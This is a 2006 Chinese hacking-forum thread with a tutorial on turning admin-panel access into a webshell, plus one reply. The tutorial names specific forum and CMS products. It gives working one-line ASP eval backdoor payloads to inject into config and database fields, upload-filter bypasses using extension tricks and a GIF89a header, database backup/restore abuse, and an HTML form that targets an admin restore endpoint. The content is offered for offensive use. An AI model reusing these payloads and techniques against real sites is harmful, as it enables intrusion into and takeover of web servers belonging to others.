加入妖城
登录
搜索
标签
妖城魔力
帮助
妖城在线论坛
»
黑客之门
» 从后台得到webshell的一些技巧
‹‹ 上一主题
|
下一主题 ››
发新话题
发布投票
发布商品
发布悬赏
发布活动
发布辩论
发布视频
打印
从后台得到webshell的一些技巧
破封
荣誉会员
不死的传说
UID
48
精华
0
积分
139
威望
0 度
个人空间
发短消息
加为好友
当前离线
阁楼
大
中
小
发表于 2006-8-10 22:11
只看该作者
从后台得到webshell的一些技巧
蒙管理
员照顾 弄了个荣誉
会员
嘿嘿 不发几个
帖子
也说不过去 特别在论坛找了个比较适合新手的文章 呵呵
一、直接上传获得webshell
这种对php和jsp的一些
程序
比较常见,MolyX BOARD就是其中一例,直接在心情图标管理上传.php类型,虽然没有提示,其实已经成功了,上传的文 件url应该是
http://forums/images/smiles/
下,前一阵子的联众游戏站和网易的jsp
系统
漏洞就可以直接上传jsp文件。文件名是原来的文件名,bo-blog后台可以可以直接上传.php文件,上传的文件路径有提示。以及一年前十分流行的upfile.asp漏洞(动网5.0和6.0、早期的许多整站
系统
),因过滤上传文件不严,导致用户可以直接上传webshell到网站任意可写目录中,从而拿到网站的管理员控制权限。
二、添加修改上传类型
现在很多的
脚本
程序上传模块不是只允许上传合法文件类型,而大多数的系统是允许添加上传类型,bbsxp后台可以添加asa|asP类型,ewebeditor的后台也可添加asa类型,通过修改后我们可以直接上传asa后缀的webshell了,还有一种情况是过滤了.asp,可以添加.aspasp的文件类型来上传获得webshell。php系统的后台,我们可以添加.php.g1f的上传类型,这是php的一个特性,最后的哪个只要不是已知的文件类型即可,php会将php.g1f作为.php来正常运行,从而也可成功拿到shell。LeadBbs3.14后台获得webshell方法是:在上传类型中增加asp ,注意,asp后面是有个空格的,然后在前台上传ASP马,当然也要在后面加个空格!
三、利用后台管理功能写入webshell
上传漏洞基本上补的也差不多了,所以我们进入后台后还可以通过修改相关文件来写入webshell。比较的典型的有dvbbs6.0,还有leadbbs2.88等,直接在后台修改
配置
文件,写入后缀是asp的文件。而LeadBbs3.14后台获得webshell另一方法是:添加一个新的友情链接,在网站名称处写上冰狐最小马即可,最小马前后要随便输入一些字符,http:\\网站\inc\IncHtm\BoardLink.asp就是我们想要的shell。
四、利用后台管理向配置文件写webshell
利用"""":""//"等符号构造最小马写入程序的配置文件,joekoe论坛,某某同学录,沸腾展望新闻系统,COCOON Counter统计程序等等,还有很多php程序都可以,COCOON Counter统计程序举例,在管理邮箱处添上
cnhacker@263.net
":eval request(chr (35))//, 在配制文件中就是webmail="
cnhacker@263.net
\":eval request(chr(35))//",还有一种方法就是写上
cnhacker@263.net
"%><%eval request(chr(35))%><%',这样就会形成前后对应,最小马也就运行了。<%eval request(chr(35))%>可以用lake2的eval发送端以及最新的2006 客户端来连,需要说明的是
数据库
插马时候要选前者。再如动易2005,到文章中心管理-顶部菜单设置-菜单其它特效,插入一句话马"%><%execute request("l")%><%',保 存顶部栏目菜单参数设置成功后,我们就得到马地址http://网站/admin/rootclass_menu_config.asp。.
五、利用后台数据库备份及恢复获得webshell
主要是利用后台对access数据库的“备份数据库”或“恢复数据库”功能,“备份的数据库路径”等变量没有过滤导致可以把任意文件后缀改 为asp,从而得到webshell,msssql版的程序就直接应用了access版的代码,导致sql版照样可以利用。还可以备份网站asp文件为
其他
后缀 如.txt文件,从而可以查看并获得网页
源代码
,并获得更多的程序信息增加获得webshell的机会。在实际运用中经常会碰到没有上传功能的时 候,但是有asp系统在运行,利用此方法来查看
源代码
来获得其数据库的位置,为数据库插马来创造机会,动网论坛就有一个ip地址的数据库,在后台的ip管理中可以插入最小马然后备份成.asp文件即可。在谈谈突破上传检测的方法,很多asp程序在即使改了后缀名后也会提示文件非法,通过在.asp文件头加上gif89a修改后缀为gif来骗过asp程序检测达到上传的目的,还有一种就是用记事本打开图片文件,随便粘贴一部分复制到asp木马文件头,修改gif后缀后上传也可以突破检测,然后备份为.asp文件,成功得到webshell。
六、利用数据库压缩功能
可以将数据的防下载失效从而使插入数据库的最小马成功运行,比较典型的就是loveyuki的L-BLOG,在友情添加的url出写上<%eval request (chr(35))%>, 提交后,在数据库操作中压缩数据库,可以成功压缩出.asp文件,用海洋的最小马的eval客户端连就得到一个webshell。
七、asp+mssql系统
这里需要提一点动网mssql版,但是可以直接本地提交来备份的。首先在发帖那上传一个写有asp代码的假图片,然后记住其上传路径。写一个本地提交的表单,代码如下:
<form action=http://网站/bbs/admin_data.asp?action=RestoreData&act=Restore method="post">
<p>已上传文件的位置:<input name="Dbpath" type="text" size="80"></p>
<p>要复制到的位置:<input name="backpath" type="text" size="80"></p>
<p><input type="submit" value="提交"></p> </form>
另存为.htm本地执行。把假图片上传路径填在“已上传文件的位置”那里,想要备份的WebShell的相对路径填写在“要复制到的位置”那里,提交就得到我们可爱的WebShell了.
UID
48
帖子
14
精华
0
积分
139
妖力
139 点
妖币
18 两
威望
0 度
阅读权限
100
在线时间
2 小时
注册时间
2006-8-10
最后登录
2006-10-20
查看详细资料
TOP
无缘
荣誉会员
六界圣王
UID
83
精华
0
积分
362
威望
0 度
个人空间
发短消息
加为好友
当前离线
沙发
大
中
小
发表于 2006-8-17 08:29
只看该作者
文章写得好,里面一些挂马的方法也不错。
可惜现在的虚拟机或服务器安全配置也不错,各WEB系统也不断升级补漏,漏洞是越来越少了。就算能把马传上去作用也不大,顶多是浏览到WEB目录,各类CMD命令基本不能用,一般这两个组件被关的话,海洋的马运行起来就没什么意思了(wshom.ocx、 wshext.dll),连网页都没办法修改。
费力气拿到WEBSHELL却拿不到服务器,没有成就感的。
以上是个人的一点看法
UID
83
帖子
198
精华
0
积分
362
妖力
362 点
妖币
38 两
威望
0 度
阅读权限
100
来自
一点名堂
在线时间
34 小时
注册时间
2006-8-16
最后登录
2008-8-30
查看个人网站
查看详细资料
TOP
‹‹ 上一主题
|
下一主题 ››
控制面板首页
编辑个人资料
积分记录
公众用户组
个人空间管理
基本概况
流量统计
客户软件
发帖量记录
版块排行
主题排行
发帖排行
积分排行
交易排行
在线时间
管理团队
管理统计
妖城魔力
魔力私服
用心回帖是种美德!自觉——以用心回帖为荣,以恶意灌水为耻!
【妖城论坛宣】